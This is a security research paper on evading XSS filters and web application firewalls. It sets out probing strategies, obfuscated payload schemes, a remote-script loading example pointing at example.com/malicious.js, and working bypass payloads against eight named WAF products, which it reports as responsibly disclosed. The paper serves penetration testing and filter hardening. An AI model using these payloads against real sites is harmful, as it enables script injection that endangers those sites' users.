Bypassing XSS Detection Mechanisms

— Somdev Sangwan

Abstract

This paper proposes a well-defined methodology to bypass Cross Site Scripting (XSS) security mechanisms by making assumptions about the rules being used to detect malicious strings by sending probes and crafting payloads based on the assumptions.
The proposed methodology consists of three phases: determining payload structure, probing and obfuscation.
Determining various payload structures for a given context provides a precise idea of the optimal testing approach. The next phase, probing, involves testing various strings against the target's security mechanisms. The target's responses are analyzed in order to make assumptions based on the analysis.
Finally, obfuscation and other tweaks are made to the payload if required.

About the Author

Hacker.

To the Reader

The author assumes that the reader has at least basic level knowledge of Cross Site Scripting, Hypertext Markup Language (HTML) and JavaScript.
{string} is used throughout the paper to represent components of a payload scheme.
{?string} represents an optional component.
The word **primary character** refers to a character which must be included in a payload.
It is advised to URL encode URL unsafe characters such as + and & before using them in payloads.
While probing, a harmless string should be used instead of {javascript}.

Contents

- Introduction
- HTML context
    - Outside Tag
        - Executable context
        - Non-executable context

    - Within/as attribute value
        - Inside an event handler
        - Inside 'src' attribute
        - Inside 'srcdoc' attribute
        - Generic attributes
            - Interactable
            - Intractable
- JavaScript context
    - As string variable
    - Within code Blocks
- Bypassing WAFs in the wild

Introduction

Cross Site Scripting (XSS) is one of the most commonly found web application vulnerabilities. It can be completely prevented by sanitizing user input, escaping output based on the context, proper usage of Document Object Model (DOM) sinks and sources, enforcing proper Cross Origin Resource Sharing (CORS) policy and other security practices. Despite these preventative techniques being public knowledge, Web Application Firewalls (WAF) or custom filters are widely used to add another layer of security to protect web applications from the exploitation of flaws introduced by human error or newly discovered attack vector. While machine learning is still being experimented with by WAF vendors, regular expressions remain the most widely used means of detection of malicious strings. This paper proposes a methodology to construct XSS payloads that do not match the regular expressions being used by such security mechanisms.

HTML Context

When the user input is reflected within the HTML code of a webpage, it is said to be in the HTML context. HTML context can further be divided into sub-contexts based on the location of the reflection.

- **Inside Tag** - `<input type="text" value="$input">`
- **Outside Tag** - `<span>You entered $input</span>`

Outside Tag

The **primary character** for this context is `<` which is responsible for starting an HTML tag. According to the HTML specification, a tag name must start with an alphabet. With this information, following probes can be used to determine the regular expression being used to match the tag name:

- <svg - If passes, no tag checking is in place
- <dev - If fails,<[a-z]+
- x<dev - If passes,^<[a-z]+
- <dEv - If fails, <[a-zA-Z]+
- <d3V - If fails, <[a-zA-Z0-9]+
- <d|3v - If fails, <.+

If none of these probes are allowed by the security mechanism, it can not be bypassed. Such restrictive rules should be discouraged due to the high false positive rate.
If any of the above probes go unblocked, a number of payload schemes can be used to craft a payload.

Payload Scheme #1

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

Once an appropriate value of {tag} is found, the next step is to guess the regular expression being used for matching the filler between tag and event handler. This operation can be carried out by the following probes:

- <tag xxx - If fails, {space}
- <tag%09xxx - if fails, [\s]
- <tag%09%09xxx - if fails, \s+
- <tag/xxx - If fails, [\s/]+
- <tag%0axxx - if fails, [\s\n]+
- <tag%0dxxx> - If fails, [\s\n\r+]+
- <tag/~/xxx - If fails, .+

This component i.e. event handler is one of the most crucial parts of the payload structure. It is often matched by either a general regular expression of kind on\w+ or a blacklist such as on(load|click|error|show). The first regular expression is very restrictive and can not be bypassed, while the blacklist type pattern is often bypassed using less known event handlers which may not be present in the blacklist. The type of approach being used can be identified by two simple checks

- <tag{filler}onxxx - If fails, on\w+. If passes, on(load|click|error|show)
- <tag{filler}onclick - If passes, no event handler checking regular expression is in

place

If the regular expression turns out to be on\w+, it can not be bypassed as all event handlers start with on. In such a case, you should move on to the next payload scheme.
If the regular expression follows the blacklist approach, you need to find event handlers that are not blacklisted. If all event handlers are blacklisted, you should move on to the next payload scheme.
Some event handlers that I have found absent from blacklists in my experience with WAFs are:

onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

The testing of fillers adjacent to = is similar to the filler discussed earlier and should be only tested if <tag{filler}{event_handler}=d3v is being blocked by the security mechanism.
The next component is the JavaScript code to be executed. It is the active part of the payload, but making assumptions about the regular expression being used to match it is not required because the JavaScript code is arbitrary and hence cannot be matched by a predefined pattern.
At this point, all components of the payload are put together and the payload only needs to be closed, which can be done in the following ways

- <payload>
- <payload
- <payload{space}
- <payload//
- <payload%0a
- <payload%0d
- <payload%09

It should be noted that HTML specification allows <tag{white space}{anything here}> which indicates that an HTML tag such as <a href='http://example.com' any text can be placed here as long as there's a greater-than sign somewhere later in the HTML document> is valid. This property of HTML tags makes it possible for an attacker to inject an HTML tag in the ways mentioned above.

Payload Scheme #2

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

Testing for fillers, as well as ending string is similar to the previous payload scheme. It must be noted that a ? can be used at the end of the URL (if a filler hasn't been used after the URL) instead of ending the tag. Every character after the ? will be treated as part of the URL until a > is encountered. With the use of the <script> tag, it is likely to be detected by most security rules.

Payloads using <object> tag can be crafted using a similar payload scheme:

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

Payload Scheme #3

This payload scheme has two variants: plain and obfuscatable.

The plain variant is often matched by patterns such as href[\s]{0,}=[\s]{0,}javascript:. Its structure is as follows:

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

The obfuscatable payload variant has the following structure:

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

The noticeable difference between these two variants is the {special} component as well as the {quote}s. The {special} refers to an obfuscated version of the string javascript which can be obfuscated using using newline and horizontal tab characters, as follows:

- j%0aAv%0dasCr%09ipt:
- J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:
- J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:

Numeric character encoding can also be used to evade detection in some cases. Both decimal and hexadecimal can be used.

- &#74;avascript&colon;
- jav&#x61;&#115;cript:

Obviously, these two obfuscation techniques can be used together if required.

- &#74;ava%0a%0d%09script&colon;

Executable and Non-executable Context

Outside tag context can be further divided into **Executable** and **Non-executable** context based on whether or not the injected payload can execute without any special aid. Non-executable context occurs when the input gets reflected within a HTML comment i.e. `<--$input-->` or in between the following tags:

```
<style>
<title>
<noembed>
<template>
<noscript>
<textarea>
```

These tags must be closed in order to execute the payload. Thus, the only difference between testing executable and non-executable context is the testing of the `{closing tag}` component, which can be done as follows:

- `</tag>`
- `</tAg/x>`
- `</tag{space}>`
- `</tag//>`
- `</tag%0a>`
- `</tag%0d>`
- `</tag%09>`

Once a working closing tag scheme is discovered, `{closing tag}{any payload from executable payload section}` can be used for a successful injection.

Inside Tag

Within/as Attribute Value

The primary character for this context is the quote used to enclose the attribute value. For instance, if the input is getting reflected as `<input value="$input" type="text">` then the primary character would be ". However, in some cases, the primary character is not required to break out of the context.

Inside an Event Handler

If the input is being reflected within the value associated with an event handler e.g. `<tag event_handler="function($input)">`, triggering the event handler will execute the JavaScript present in the value.

Inside 'src' Attribute

If the input is being reflected as the value of src attribute of a script or iframe tag e.g. `<script src="$input">`, a malicious script (in case of script tag) or webpage (in case of iframe tag) can be loaded directly as follows:

```
<script src="http://example.com/malicious.js">
```

Bypassing URL Matching Regular Expressions

- `//example.com/xss.js bypasses http(?s)://`
- `////////example.com/xss.js bypasses (?:http(?s):?)?//`
- `/\///\\/example.com/xss.js bypasses (?:http(?s):?)?//+`

Inside 'srcdoc' Attribute

If the input is being reflected as the value of srcdoc attribute of an iframe tag e.g. <`iframe srcdoc="$input">`, an escaped (with HTML entities) HTML document can be supplied as the payload as follows:

```
<iframe srcdoc="&lt;svg/onload=alert()&gt;">
```

Generic Attributes

All the above cases do not require any bypassing techniques, except the last one which can be bypassed using the techniques used in the HTML context section. The discussed cases are uncommon and the most common type of attribute context reflection is as follows:

```
<input type="text" value=""/onfocus="alert()$input">
```

It can be further divided into two categories based on the interactivity of the concerned tag.

Interactable

When the input is getting reflected within a tag which can be interacted with e.g.

clicking, hovering, focusing etc., only a quote is needed to break out of the context. The payload scheme in such case is:

```
{quote}{filler}{event_handler}{?filler}={?filler}{javascript}
```

Checking if the quote is being blocked by the WAF (highly unlikely) can be done with the probe below:

```
x"y
```

The event handler plays an important role here as it is the only component which may be detected by the WAF. Every tag supports some event handlers and it's up to the user to look for such cases but there are some event handlers which can be bound to any tag which are listed below:

```
onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
```

The rest of the components can be tested using the methodologies discussed earlier.

Intractable

When the input is getting reflected within a tag which cannot be interacted with, breaking out of the tag itself is required to execute the payload. The payload scheme for such a case is:

{quote}>{any payload scheme from html context section}

JavaScript Context

Inside String Variable

The most common type of JavaScript context reflection is reflection within a string variable. It is common because developers usually assign user input to a variable instead of using them directly e.g var name = '$input';

Payload Scheme #1

{quote}{delimiter}{javascript}{delimiter}{quote}

Where the delimiter is usually a JavaScript operator such as ^. For instance, if the user input lands in a single quoted string variable, possible payloads would be

```
'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
```

Payload Scheme #2

{quote}{delimiter}{javascript}//

It is similar to the previous payload scheme except that it uses a single line comment to comment out the rest of the code in the line to keep the syntax valid. Some payloads that can be crafted using this payload scheme are:

```
'<{javascript}//'
'|{javascript}//'
'^{javascript}//'
```

```
}
```

Within Code Blocks

Input often gets reflected into code blocks. For instance, a web page does something if the user has paid subscription and is more than 18 years old. The JavaScript code which has the reflected input looks like this:

```
function example(age, subscription){
    if (subscription){
        if (age > 18){
            another_function('$input');
        }
    else{
        console.log('Requirements not met.');
    }
}
```

Let's assume we do not have paid for the subscription. To get around this, we will need to get out of the if (subscription) block, which can be done by closing condition blocks, function calls and such. If the user input is ');}}alert();if(true){(', it will get reflected as follows:

```
function example(age, subscription){
    if (subscription){
        if (age > 18){
            another_function('');}}alert();if(true){('');
        }
    else{
        console.log('Requirements not met.');
    }
}
```

Here's an indented view to understand how the payload works

```
function example(age, subscription){
    if (subscription){
        if (age > 18){
            another_function('');
        }
    }
    alert();
    if (true){
        ('');
    }
    else{
        console.log('Requirements not met.');
    }
}
```

); closes the current function call.
The first } closes the if (age > 18) block.
The second } closes the if subscription block.
alert(); is the dummy function being used as a test.
if(true){ starts an if condition block to keep the code syntactically valid as there is an else block later in the code.
Finally, the (' combines with the remains of function call we initially injected into.
It is one of the simplest code blocks you will encounter in the wild. To ease the process of breaking out of code blocks, use of a syntax highlighter such as **Sublime Text** is advised.
The payload structure depends upon the code itself and this uncertainty makes it very difficult to detect. However, the code can be obfuscated if required. For instance, the payload for the code block above can be written as:

```
');%0a}%0d}%09alert();/*anything here*/if(true){//anything here%0a('
```

If the input is getting reflected into JavaScript code whether it is in a code block or a variable string, `</scRipT{?filler}>{html context payload}` can be used to break out of the context and execute the payload. This payload scheme should be tried before everything else as it is straightforward, but it is likely to be detected as well.

Bypassing WAFs in Wild

During the research, a total of eight WAFs were bypassed. The vendors were made aware of the bypasses via responsible disclosure and hence some (or all) bypasses may have been patched as a result. Below is the list of bypassed WAFs, payloads and the bypass technique:

Name: Cloudflare
Payload: `<a"/onclick=(confirm)()>click`
Bypass Technique: Non-white space filler

Name: Wordfence
Payload: <a/href=javascript&colon;alert()>click
Bypass Technique: Numeric character encoding

Name: Barracuda
Payload: <a/href=&#74;ava%0a%0d%09script&colon;alert()>click
Bypass Technique: Numeric character encoding

Name: Akamai
Payload: <d3v/onauxclick=[2].some(confirm)>click
Bypass Technique: Missing event handler from blacklist and function call obfuscation

Name: Comodo
Payload: <d3v/onauxclick=(((confirm)))``>click
Bypass Technique: Missing event handler from blacklist and function call obfuscation

Name: F5
Payload: <d3v/onmouseleave=[2].some(confirm)>click
Bypass Technique: Missing event handler from blacklist and function call obfuscation

Name: ModSecurity
Payload: <details/open/ontoggle=alert()>
Bypass Technique: Missing tag (event handler too?) from blacklist

Name: dotdefender
Payload: <details/open/ontoggle=(confirm)()//
Bypass Technique: Missing tag from blacklist, function call obfuscation and alternate tag ending

References

- HTML specification
- Numeric character reference